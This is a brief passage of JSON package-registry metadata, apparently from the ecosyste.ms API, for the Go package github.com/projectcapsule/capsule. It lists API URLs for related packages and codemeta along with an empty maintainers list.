Fprojectcapsule%2Fcapsule/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fprojectcapsule%2Fcapsule/codemeta","maintainers":[]}